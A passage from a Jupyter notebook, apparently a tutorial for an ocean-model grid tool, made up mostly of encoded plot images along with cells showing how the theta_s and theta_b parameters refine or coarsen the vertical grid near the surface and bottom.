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", "text/plain": [ "<Figure size 900x500 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "grid_with_small_theta_s.plot_vertical_coordinate(\"layer_depth_rho\", eta=50)" ] }, { "cell_type": "markdown", "id": "134ddcc4-9499-4ae2-8463-f4ff10ee10f5", "metadata": {}, "source": [ "When comparing the three plots above, we can see that \n", "\n", "* increasing `theta_s` leads to a refinement of the vertical grid near the surface,\n", "* reducing `theta_s` leads to coarsening of the vertical grid near the surface." ] }, { "cell_type": "markdown", "id": "812031ac-f890-40da-863a-5b96a146c9e5", "metadata": {}, "source": [ "We can play a similar game with the bottom control parameter `theta_b`." ] }, { "cell_type": "code", "execution_count": 40, "id": "15ed9651-af68-47a3-b188-8878957b5bf2", "metadata": { "tags": [] }, "outputs": [], "source": [ "grid_with_large_theta_b = Grid(\n", " **fixed_grid_parameters,\n", " theta_s=control_grid.theta_s,\n", " theta_b=4.0,\n", " hc=control_grid.hc\n", ")\n", "\n", "grid_with_small_theta_b = Grid(\n", " **fixed_grid_parameters,\n", " theta_s=control_grid.theta_s,\n", " theta_b=0.5,\n", " hc=control_grid.hc\n", ")" ] }, { "cell_type": "code", "execution_count": 41, "id": "a46979fd-7208-47f1-b349-c4f4371a84ce", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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